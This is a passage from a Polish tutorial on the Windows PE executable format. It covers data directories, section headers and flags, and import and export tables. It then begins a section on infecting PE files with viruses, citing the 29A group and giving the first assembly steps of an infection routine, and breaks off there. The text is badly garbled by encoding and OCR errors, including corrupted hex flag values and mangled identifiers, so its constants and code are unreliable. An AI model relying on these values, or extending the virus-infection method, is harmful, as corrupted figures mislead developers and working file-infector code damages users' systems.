strona), za� Borlanda 0x2000 (2 strony). SizeOfHeapReserve analogicznie liczba bajt�w wirtualnej pami�ci do zarezerwowania na lokaln� stert� programu. Funkcja systemowa GetProcessHeap() zwraca wielko�� zarezerwowanej liczby bajt�w. SizeOfHeapCommit liczba bajt�w wirtualnej pami�ci do przyporz�dkowania na lokaln� stert� programu. Standardowo 0x1000 bajt�w LoaderFlags znowu pole to jest ju� nie u�ywane, w Windows NT 3.5 zaznaczone by�o jako przestarza�e. NumberOfRvaAndSizes liczba wej�� do tablicy DataDirectory (kolejne pole), zawsze ustawione na 16. Ostatnie pole w nag��wku IMAGE_OPTIONAL_HEADER to DataDirectory, kt�re jest tablic� 16 (NumberOJRvaAndSizes) element�w. Ka�dy element, to struktura nazywana IMAGE_DATA_DIRECTORY, jednak ka�dy pe�ni r�ne funkcje. Lista element�w tablicy DataDirectory: DataDirectory [0] - Export symbols [1] - Import symbols [2] - Resources [3] - Exception [4] - Security [5] - Base relocation [6] - Debug [7] - Copyright string [8] - GlobalPtr [9] - Thread local storage (TLS) [10] - Load configuration [11] - Bound Import [12] - Import Address Table [13] - Delay Import [14] - COM descriptor [...] - Nieznana 14 Elementami takiej tablicy s� struktury zdefiniowane w nast�puj�cy spos�b: IMAGE_DATA_DIRECTORY STRUCI YirtualAddress DWORD ? isize DWORD ? IMAGE_DATA_DIRECTORY ENDS Pole YirtualAddress zawiera adres RVA miejsca struktury definiuj�cej odpowiedni� sekcj� (element z DataDirectory), isize okre�la wielko�� tej struktury. Warto zwr�ci� uwag� na wielko�� tej struktury (8 bajt�w) przyda si� to przy przechodzeniu po tablicy DataDirectory. Taka tablica wykorzystywana jest do szybkiego wyszukiwania odpowiedniej sekcji w pliku przez systemowy program �aduj�cy, zatem nie ma potrzeby sekwencyjnego przegl�dania ich wszystkich. Oczywi�cie nie wszystkie pliki musz� posiada� ca�y komplet pozycji tej tablicy, najcz�ciej s� tam Import oraz Export Symbols. W przypadku pozycji numer O (Export Symbols) w tablicy pole YirtualAddress wskazuje na tablic� struktur IMAGE_EXPORT_DESCRIPTOR, dla numeru l (Import Symbols) na tablice struktur EVLAGE_IMPORT_DESCRIPTOR. W dalszej cz�ci skryptu skupimy si� na ich opisie, poniewa� jak si� p�niej oka�e (przy pisaniu wirus�w) s� to wa�ne elementy pliku PE. � Tablica sekcji Sekcje mo�emy uto�samia� z obiektami. Mo�emy mie� obiekty z danymi, zasobami (bitmapy, wavy itp.), kodem programu oraz wieloma innymi wa�nymi rzeczami (pole DataDirectory opisane powy�ej). Plik PE zbudowany jest z obiekt�w (COFF) - sekcji. Na tym etapie opisywania pliku PE przedstawiamy rozszerzony model jego budowy: Nag��wek DOS MZ offset O Sygnatura PE IMAGE FILE HEADER IMAGE NT HEADERS IMAGE OPTIONAL HEADER DataDirectory Tablica sekcji = elementy typu IMAGE SECTION HEADER .text sekcje (niekt�re) .data .idata .reloc DEBUG info wyst�puje opcjonalnie Budowa pliku PE (model szczeg�owy) 15 Poni�ej nag��wk�w PE, ale przed danymi (cia�ami sekcji) mamy tablice sekcji, w kt�rej ka�de pole opisywane jest przez struktur� IMAGE_SECTION_HEADER. Jest to wi�c kolejna tablica struktur, kt�rej liczb� element�w podan� mamy w polu NumberOfSections w IMAGE_FILE_HEADER. Dzi�ki takiej tablicy mamy niezb�dne informacje o ka�dej z sekcji, oto one: IMAGE_SECTION_HEADER STRUCT Namel union Misc PhysicalAddress YirtualSize ends YirtualAddress SizeOfRawData PointerToRawData PointerToRelocations PointerToLinenumbers NumberOfRelocations NumberOfLinenumbers Characteristics IMAGE SECTION HEADERENDS BYTE IMAGE_SIZEOF_SHORT_NAME dup(?) DWORD ? - obowi�zuje dla plik�w OBJ DWORD ? - obowi�zuje dla plik�w EXE DWORD? DWORD? DWORD? DWORD? DWORD? WORD ? WORD ? DWORD? ,gdzie IMAGE_SIZEOF_SHORT_NAME equ 8 IMAGE_SIZEOF_SECTION_HEADER equ 40d - sta�a wielko�� struktury. Namel to 8 bajtowa nazwa ANSI sekcji zaczynaj�ca si� od kropki (chocia� nie jest to konieczne) np. .data .reloc .text .bss. Nazwa ta nie jest ASCIIZ string (nie zako�czona terminatorem /O ). Wyr�niamy: CODE, .text, .code .data .bss .import, .idata .export, .edata .rsrc .reloc .debug sekcja kodu sekcja zainicjowanych danych sekcja niezainicjowanych danych sekcja importu sekcja eksportu sekcja zasob�w sekcja relokacji sekcja debugera Nast�pn� mamy unie, kt�ra ma r�ne znaczenie, w zale�no�ci z jakim plikiem mamy do czynienia. Dla pliku typu EXE obowi�zuje pole YirtualSize, kt�re przechowuje informacje o dok�adnym rozmiarze sekcji, nie zaokr�glonym tak jak jest w nast�pnym polu SizeOfRawData. Dla pliku OBJ obowi�zuje pole PhysicalAddress, kt�re oznacza fizyczny adres sekcji, pierwsza ma adres O, nast�pne s� szukane poprzez ci�g�e dodawanie SizeOfRawData. YirtualAddress jest adresem RVA punktu startu sekcji. Program �aduj�cy analizuje to pole podczas mapowania sekcji w pami�ci, przyk�adowo je�li pole to jest ustawione na 0x1000 a PE jest wgrane pod adres 0x400000 (ImageBase), to sekcja b�dzie zmapowana w pami�ci pod adresem 0x401000. Narz�dzia Microsoftu ustawiaj� tu warto�� 0x1000 dla pierwszej sekcji w pliku. Dla plik�w OBJ pole to jest nie istotne, dlatego jest ustawione na 0. SizeOfRawData zaokr�glona (do wielokrotno�ci liczby podanej w polu FileAlignment IMAGE_OPTIONAL_HEADER32>) wielko�� sekcji. Je�eli pole FileAlignment zawiera 0x200 a pole YirtualSize (patrz wy�ej) m�wi, �e sekcja jest d�ugo�ci 0x3 8F, to wtedy pole to b�dzie zawiera� wpis 0x400. Systemowy program �aduj�cy egzaminuje to pole, zatem wie ile nale�y przeznaczy� pami�ci na za�adowanie sekcji. Dla plik�w OBJ pole to zawiera tak� sam� warto�� co YirtualSize. w 16 PointerToRawData zawiera offset w pliku punku startu sekcji. PointerToRelocations, poniewa� w plikach EXE wszystkie relokacj� zostaj� przeprowadzone na etapie linkowania, to pole to jest bezu�yteczne i jest ustawione na 0. PointerToLinenumbers u�ywane, gdy program jest skompilowany z informacjami dla debuggera. NumberOfRelocations pole wykorzystywane tylko w plikach OBJ. Characteristics, flagi informuj�ce jakiego rodzaju jest to sekcja: MAGE_SCN_CNT_CODE MAGE_SCN_CNT_INITIALIZED_DATA MAGE_SCN_CNT_UNINITIALIZED_DATA IMAGE_SCN_LNK_INFO MAGE_SCN_LNK_REMOVE MAGE_SCN_LNK_COMDAT IMAGE_SCN_LNK_NRELOC_OVFL IMAGE_SCN_MEM_DISCARDABLE MAGE_SCN_MEM_NOT_CACHED MAGE_SCN_MEM_NOT_PAGED MAGE_SCN_MEM_SHARED MAGE_SCN_MEM_EXECUTE MAGE_SCN_MEM_READ MAGE_SCN_MEM_WRITE � sekcja .text equ 00000020h equ 00000040h equ OOOOOOSOh equ 00000200h equ OOOOOSOOh equ OOOOlOOOh equ OlOOOOOOh equ 02000000h equ 04000000h equ OSOOOOOOh equ lOOOOOOOh equ 20000000h equ 40000000h equ SOOOOOOOh Zawiera kod wykonywalny Zawiera zainicjowane dane Zawiera nie zainicjowane dane Zawiera komentarze Kompilator podaje informacje do linkera, nie powinna by� ustawiona w ko�cowym EXE Zawiera dane Common B�ock Data Zawiera rozszerzone relokacje Mo�e zosta� zwolniona z RAM Nie cache'owoana Nie mo�e by� stronicowana Sekcja wsp�dzielona Dozwolone wykonanie kodu Dozwolone czytanie Dozwolone zapisywanie W sekcji o nazwie .text, CODE lub .code znajduje kod wykonywalny programu. Kod nie jest dzielony na kilka porcji w kilka sekcji, wszystko jest umieszczane przez linker w jedn� ca�o��. Opisujemy t� sekcj�, poniewa� chcemy zaznaczy� uwag� czytelnika na jeden fakt, mianowicie na metod� wywo�ywania funkcji importowanych przez program. W programie wywo�uj�c importowan� funkcj� (np. MessageBox() w USER32.DLL) kompilator generuje instrukcj� CALL, kt�ra nie przekazuje sterowania bezpo�rednio do biblioteki DLL gdzie funkcja jest zdefiniowana, lecz skacze pod adres w .text, gdzie nast�puje przekierowanie za pomoc� instrukcji JMP DWORD PTR [XXXXXXXX] do sekcji importu .idata (miejsca zdefiniowania adres�w funkcji i bibliotek). Mechanizm ten ilustruje poni�szy rysunek: program USER32.DLL 00040042: BFD01234 BFD01234: kod MessageBox sekcja importu 00014408: JMP DOWRD PTR [00040042] CALL 0001448 (CALL MessageBox) .text wywo�ywanie funkcji w sekcji .text bibliotek DLL 17 � tabela import�w Importowana funkcja to taka, kt�rej cia�o zdefiniowane jest w innym pliku, najcz�ciej jest to plik DLL. Program wywo�uj�cy tak� funkcj� posiada informacje jedynie o jej nazwie (lub numerze) i nazwie pliku DLL, z kt�rego jest importowana. Istniej� dwa typy/metody importowania funkcji: � poprzez warto��/numer funkcji � poprzez nazw� funkcji Wcze�niej, podczas opisywania tablicy DataDirectory zaznaczyli�my, �e jej element numer l wskazuje na struktur� IMAGE_DATA_DIRECTORY, kt�rej pole YirtualAddress zawiera adres tablicy struktur IMAGE_IMPORT_DESCRIPTOR w sekcji .idata (import data). IMAGE_IMPORT_DESCRIPTOR union Characteristics DWORD ? OriginalFirstThunk DWORD ? ends TimeDateStamp DWORD ? ForwarderChain DWORD ? Namel DWORD ? FirstThunk DWORD ? IMAGE_IMPORT_DESCRIPTOR ENDS W pliku nie ma informacji o ilo�ci element�w tej tablicy, dlatego jej ostatnia pozycja markowana jest wype�nieniem tej struktury samymi zerami, element�w b�dzie tak wiele jak r�nych plik�w DLL z kt�rych program importuje funkcje (KERNEL32.DLL, MFC40.DLL, USER32DLL, itp.) Characteristics/OriginalFirstThunk zawiera RVA kolejnej tablicy element�w DWORD. Ka�dy z tych element�w DWORD jest tak naprawd� uni� zdefiniowan� w strukturze IMAGE_THUNK_DATA. IMAGE_THUNK_DATA EQU<IMAGE_THUNK_DATA32> IMAGE_THUNK_DATA32 STRUCI union ul ForwarderString DWORD ? Function DWORD ? Ordinal DWORD ? AddressOfData DWORD ? ends IMAGE_THUNK_DATA32 ENDS Dla tematu tabela import�w w powy�szej unii obowi�zuje pole Function ( w przypadku importowania funkcji przez nazw� ), kt�re zawiera wska�nik na struktur� IMAGE_IMPORT_BY_NAME. Pole Ordinal jest stosowane w przypadku importowania funkcji przez warto�� (opisane dalej). Mamy zatem dla jakiego� programu kilka struktur IMAGE_IMPORT_BY_NAME, tablica taka ko�czy si� wska�nikiem w Function ustawionym na NULL. Adres takiej tablicy umieszczany jest w polu OriginalFirstThunk w IMAGE_IMPORT_DESCRIPTOR. IMAGE_IMPORT_BY_NAME STRUCI Hint WORD ? Namel BYTE ? IMAGE IMPORT BY NAME ENDS 18 Ten zestaw zawiera informacje o importowanej funkcji. Pole Hint zawiera indeks do tabeli export�w, kt�ra znajduje si� w pliku DLL. Zdarza si�, �e niekt�re linkery ustawiaj� tu warto�� O - zatem pole to nie jest za bardzo istotne. Wa�niejsze okazuje si� jest Namel, kt�re zawiera nazw� ASCIIZ (null terminated) importowanej funkcji. Powracaj�c do IMAGE_IMPORT_DESCRIPTOR, mamy kolejne pole TimeDateStamp, kt�re zawiera dat� utworzenia pliku z kt�rego importujemy funkcj�, cz�sto zawiera warto�� r�wn� zero. ForwarderChain pole reprezentuje technik� Export Forwarding (opisan� w dokumentacji Microsoftu). W Windows NT KERNEL32.DLL przekazuje niekt�re eksportowane funkcje do NTDLL.DLL. Aplikacja wywo�uj�c jak�� funkcje z KERNEL32.DLL mo�e tak naprawd� wywo�ywa� funkcje zdefiniowan� w NTDLL.DLL, w�a�nie dzi�ki Export Forwarding. Namel zawiera RVA do nazwy ASCIIZ pliku z kt�rego importujemy funkcje, np. KERNEL32.DLL, USER32.DLL, MOJA_BILBIOTEKA.DLL FirstThunk pole to ma bardzo podobne znaczenie do OriginalFirstThunk, to znaczy zawiera adres RVA tablicy struktur IMAGE_THUNK_DATA, jednak taka tablica r�ni si� od poprzedniej przeznaczeniem. Mamy zatem dwie tablice wype�nione elementami RVA struktur IMAGE_THUNK_DATA, czyli dwie identyczne tablice. Adres pierwszej jest przechowywany w OriginalFirstThunk, drugiej w FirstThunk, jak pokazano na rysunku: IMAGE IMPORT DESCRTPTOR OriginalFirstThunk TimeDateStamp ForwarderChain Namel Nazwa pliku importu (DLL) FirstThunk EMAGE IMPORT BY NAME + OriginalFirstThuiik IMAGE THUNK DATA IMAGE THUNK DATA IMAGE THUNK DATA IMAGE THUNK DATA IMAGE THUNK DATA NULL 34 Funkcja 1 4 67 Funkcja 2 ^ 21 Funkcja 3 * 12 Funkcja 4 ^ ... ^ 37 Funkcja n Hint Namel FirstThunk IMAGE THUNK DATA IMAGE THUNK DATA IMAGE THUNK DATA IMAGE THUNK DATA IMAGE THUNK DATA NULL Schemat importu funkcji Tych wpis�w w obydw�ch tabelach b�dzie tak wiele, jak funkcji kt�re importujemy z konkretnego DLLa. Zatem je�eli program importuje n funkcji z pliku USER32.DLL, to pole Namel w strukturze IMAGE_IMPORT_DESCRIPTOR b�dzie zawiera�o RVA stringu jego nazwy i b�dzie po n element�w IMAGE_THUNK_DATA w obydwu tablicach. Po co w programie dwa egzemplarze takiej tablicy? Pierwsza wskazywana przez pole OriginalFirstThunk pozostaje taka sama, nie jest zmieniana. Druga (FirstThunk) jest modyfikowana przez systemowy program 19 �aduj�cy, kt�ry przechodz�c po jej elementach wpisuje do ka�dego adres importowanej funkcji. Dzi�ki temu, �e mamy (oryginaln�) pierwsz� tabel�, gdy zajdzie taka potrzeba system mo�e otrzyma� nazw� importowanej funkcji.. IMAGE IMPORT BY NAME ->� OrigmalKrstThuiik IMAGE THUNK DATA IMAGE THUNK DATA IMAGE THUNK DATA IMAGE THUNK DATA IMAGE THUNK DATA 34 Funkcja 1 67 Funkcja 2 21 Funkcja 3 12 Funkcja 4 ... 37 Funkcja n KrstThunk adres fimkcji l adres fimkcji 2 adres fimkcji 3 adres fimkcji 4 adres fimkcji n NULL Hint Namel NULL J Import Address Table (IAT) Funkcje nie zawsze s� importowane poprzez swoje nazwy, czasami s� importowane przez warto��. Wtedy nie ma IMAGE_IMPORT_BY_NAME, ale zamiast tego w IMAGE_THUNK_DATA mamy numer importowanej funkcji. Dla takiego przypadku m�wi si� o korzystaniu z pola Ordinal w IMAGE_THUNK_DATA (a nie Function jak mia�o to miejsce poprzednio - jednoznaczno�� zapewnia nam unia). Numer funkcji w Ordinal znajduje si� w jego m�odszym s�owie, a na najstarszej pozycji (MSB) starszego sowa jest ustawiony bit na 1. Na przyk�ad: je�eli funkcja jest eksportowana w pliku DLL z numerem 00034h, to wtedy pole to b�dzie zawiera� 80000034h. W pliku WINDOWS.INC bit taki jest zdefiniowany jako sta�a 0x80000000 o nazwie IMAGE_ORDINAL_FLAG32. � tabela eksport�w Funkcje u�ywane w programach Win32 importowane s� z plik�w DLL, gdzie eksportowane s� dzi�ki tabelom eksport�w. Tabela ta znajduje si� na pocz�tku sekcji o nazwie .edata lub .export. i opisana jest struktur�: IMAGE_EXPORT_DIRECTORY STRUCT Characteristics DWORD ? TimeDateStamp DWORD ? MajorYersion WORD ? MinorYersion WORD ? nName DWORD ? nBase DWORD ? NumberOfFunctions DWORD ? NumberOfNames DWORD ? AddressOfFunctions DWORD ? AddressOfNames DWORD ? AddressOfNameOrdinals DWORD ? IMAGE_EXPORT_DIRECTORY ENDS W tablicy DataDirectory (w IMAGE_OPTIONAL_HEADER32) jej pierwszy element wskazuje na struktur� IMAGE_DATA_DIRECTORY, kt�rej pole YirtualAddress zawiera adres tablicy struktur IMAGE EXPORT DESCRIPTOR. 20 Analogiczne do mechanizmu importowania istniej� dwa typy eksportowania funkcji: � poprzez warto��/liczb�/numer funkcji � poprzez nazw� funkcji Opis p�l struktury IMAGE_EXPORT_DESCRIPTOR: Characteristics pole nie u�ywane, ustawione na 0. TimeDateStamp data/czas stworzenia pliku. MajorYersion oraz MinorYersion okre�laj� wersje pliku, ale r�wnie� sanie u�ywane i ustawione na 0. nName RVA na string ASCIIZ nazwy pliku DLL. Pole to jest wa�ne, poniewa� w przypadku zmiany nazwy pliku, program �aduj�cy SO u�yje nazwy wewn�trznej (tego stringu). nBase to pocz�tkowa (najni�sza) warto�� numeru eksportowania (poprzez numer) funkcji. Zatem je�eli w pliku istniej� funkcje eksportowane przez numery np.: 4,5,8,10, to pole to b�dzie zawiera� warto�� 4. NumberOfFunctions liczba wszystkich funkcji eksportowanych w pliku. NumberOfNames liczba funkcji eksportowanych przez nazw�. Bardzo cz�sto jest tak, �e wszystkie funkcje s� eksportowane przez nazw�, czyli NumberOjName = NumberOfFunctions. AddressOfFunctions RVA, kt�re wskazuje na tablice adres�w funkcji w module (DLL). W module wszystkie RVA do funkcji s� trzymane w tablicy, kt�ra jest wskazywana przez to pole. AddressOjNames zawiera RVA tablicy wska�nik�w na stringi, kt�re s� nazwami eksportowanych funkcji w module. AddressOfNameOrdinals wskazuje na 16 bitow� tablice (jej elementami s� WORD'y ). Ka�dy element tej tablicy zawiera numer funkcji, kt�ry mo�e odpowiada� przypisaniu do funkcji eksportowanej przez warto��. Jednak dok�adny numer otrzymamy po dodaniu go do numeru zawartego w polu nBase. Przyk�adowo, je�eli pole nBase zawiera 4 a jedna z funkcji modu�u jest eksportowana przez warto�� 5, to w tej tablicy znajdzie si� pole z numerem l, kt�re reprezentuje t� funkcje (bo 4+1=5). Tabela eksportu znajduje si� w pliku i jest wykorzystywana przez program �aduj�cy SO. Modu� musi zawiera� adresy wszystkich eksportowanych funkcji, tak aby program �aduj�cy posiada� informacje o tym, gdzie si� one znajduj�. Najwa�niejsz� jest tablica wskazywana poprzez pole AddressOfFunctions, kt�ra jest zbudowana z element�w typu DWORD. Ka�dy jej element zawiera RVA importowanej funkcji. Liczba element�w tej tablicy podana jest w polu NumberOfFunctions. W przypadku eksportowania funkcji przez warto��, jej numer eksportu odpowiada pozycji w tej tablicy adres�w. Na przyk�ad je�eli funkcja jest eksportowana przez warto�� numer l, to jej adres b�dzie w wy�ej wymienionej tablicy na pierwszej pozycji; gdy eksportowana przez warto�� 5, to jej adres b�dzie znajdowa� na pozycji pi�tej w tej tablicy, itd. Nale�y jednak pami�ta� o polu nBase, je�eli pole to zawiera warto�� 10, wtedy pierwszy element DWORD w tablicy AddressOfFunctions odpowiada adresowi funkcji eksportowanej przez liczb� 10, drugi element odpowiada adresowi funkcji eksportowanej przez 11, itd. Jest jeszcze jedna ciekawa rzecz zwi�zana z eksportowaniem przez warto��, mianowicie mog� istnie� przerwy w ich numerowaniu. Na przyk�ad mo�e zaj�� taka sytuacja, �e eksportowane s� dwie funkcje przez warto�ci odpowiednio l oraz 3. Pomimo, �e eksportowane s� tylko dwie funkcje, to tabela AddressOfFunctions b�dzie zawiera� trzy elementy, przy czym jej drugi DWORD b�dzie ustawiony na 0. Zatem podsumowuj�c, kiedy systemowy program �aduj�cy potrzebuje pobra� adresy funkcji eksportowanych przez warto��, to ma bardzo niewiele do zrobienia, poniewa� taki numer funkcji traktuje jako indeks pozycji w tabeli adres�w. Okazuje si� jednak, �e cz�ciej u�ywa si� eksportu przez nazw� funkcji. Je�eli w module pewne funkcje s� eksportowane przez nazw�, to plik musi przechowywa� informacje o tych nazwach. Znajduj� si� one w tablicy wska�nik�w na stringi, jej adres podany jest w AddressOjNames. Dodatkowo jest jeszcze tabela, kt�rej wska�nik znajduje si� w polu AddressOfNameOrdinals. Liczba element�w tych tablic jest identyczna i podana w polu NumberOfNames. Tablice te s� wykorzystywane przy translacji nazw funkcji na ich numery, kt�re s� indeksami do element�w tablicy adres�w (AddressOfFunctions). Praca systemowego programu �aduj�cego mo�e by� opisana w 21 nast�puj�cy spos�b: przeszukuje on tablice AddressOjNames w celu znalezienia pozycji, w kt�rej RVA wskazuje na string odpowiadaj�cy eksportowanej/szukanej funkcji. Za��my, �e sytuacja taka ma miejsce na pozycji numer trzy w tabeli nazw. Loader wykorzystuje ten numer jako indeks do tabeli AddressOjNameOrdinals, kt�ra zbudowana jest z element�w typu WORD, w kt�rych s� zapisane numery indeks�w do tablicy AddressOfFunctions. Zatem loader pobiera WORD z pozycji numer trzy tablicy AddressOjNameOrdinals, w kt�rym ma zapisany indeks do tabeli adres�w - tam odnajdzie szukany adres funkcji w pami�ci. Dodatkowo warto zaznaczy�, �e ka�da nazwa funkcji ma przypisany tylko jeden adres. Odwrotne stwierdzenie nie jest prawdziwe; jeden adres mo�e by� powi�zany z wieloma nazwami, dlatego istniej� tak zwane aliasy funkcji. 1 RVA na string funkcji 1 2 RVA na string funkcji 2 3 RVA na string funkcji 3 n RVA na string funkcji n AddressOfNames AddressOfNameOrdinal 1 Indeks 1 do tab. adres�w 2 Indeks 2 do tab.adres�w 3 Indeks 3 do tab.adres�w n Indeks n do tab.adres�w indeks indeks Relacja pomi�dzy tabelami dla importu przez nazw� EMAGE EXPORT DIRECTORY Characteristics adresy funkcji w pami�ci (pozosta�e pola) 0x400032 "MojaFunkl" 0x400085 0x400142 "MojaFunk3" RVA na string NumberOfFunctions tablica nazw funkcji RVA na string NumberOfNames AddressOfFunctions AddressOfNames "MojaFunkl" "MojaFunk3" indeksy do tablicy adres�w funkcji AddressOfNameOrdinals l Przyk�ad: liczba funkcji 3 - eksport: przez warto�� l, przez nazw� 2 � Infekcja pliku PE Uzbrojeni w wiedze o budowie pliku PE mo�emy przyst�pi� do opisu metod i technik ich infekcji. Jako jeden z pierwszych sposob�w infekcji plik�w PE zaproponowa� Jack Qwerty, nestor nale��cy do znanej grupy 29 A, autor pierwszych wirus�w infekuj�cych PE: Win32Jacky oraz Win32.Cabanas. Po nich pokaza�y si� kolejne dwa: Esperanto oraz Win32.Marburg - stworzone przez zesp� 29A. W�a�nie dzi�ki nim temat tak bardzo si� rozwin��, dlatego tak bardzo zale�a�o nam, aby wspomnie� o nich. Najbardziej popularn� metod� infekcji plik�w PE jest spos�b, kt�ry polega na doklejaniu si� kodu wirusa do ostatniej sekcji, zwi�kszeniu jej rozmiaru i ustawieniu pocz�tku wykonywania programu na adresie odpowiadaj�cym pierwszej instrukcji doklejonego kodu. Za��my, �e w rejestrze EDX mamy wska�nik do pocz�tku otwartego/zmapowanego w pami�ci pliku, np. przez API MapViewOfFile(). Pierwsz� czynno�ci� jak� powinna wykona� nasza procedura infekuj�ca w wirusie jest sprawdzenie czy atakowany obiekt jest plikiem PE. Mo�na to wykona� szukaj�c nag��wka PE 22 poprzez pole znajduj�ce si� na offsecie 03Ch (ejfanew- adres struktury PE ) w pierwszym nag��wku DOS MZ. push edx ;zachowaj, przy da si� p�niej cmp word ptr ds:[edx], "ZM" ;little endian jnz koniec_infekcji mov edx, dword ptr ds: [edx+3Ch] cmp cmp word ptr ds: [edx], "EP" jnz koniec_infekcji W tym momencie wiemy, �e mamy do czynienia z w�a�ciwym plikiem, nast�pnym krokiem jest zlokalizowanie ostatniej sekcji. Wiemy, �e po DOS MZ oraz nag��wku IMAGE_FILE_HEADER jest IMAGE_OPTIONAL_HEADER a dalej jest ju� tablica sekcji, zawieraj�ca struktury definiuj�ce ka�d� sekcje w pliku. Jak dosta� si� do tej tablicy? W�a�ciwie mo�na na dwa sposoby: 1. Wykorzystamy fakt, �e struktura IMAGE_FILE_HEADER ma sta�� wielko�� w ka�dym pliku PE: IMAGE_SIZEOF_FILE_HEADER equ 20d. Po wykonaniu wy�ej przedstawionego kr�tkiego kodu wirusa, zawarto�� rejestru EDX wskazuje na pierwszy element w IMAGE_NT_HEADERS, czyli na pole Signature o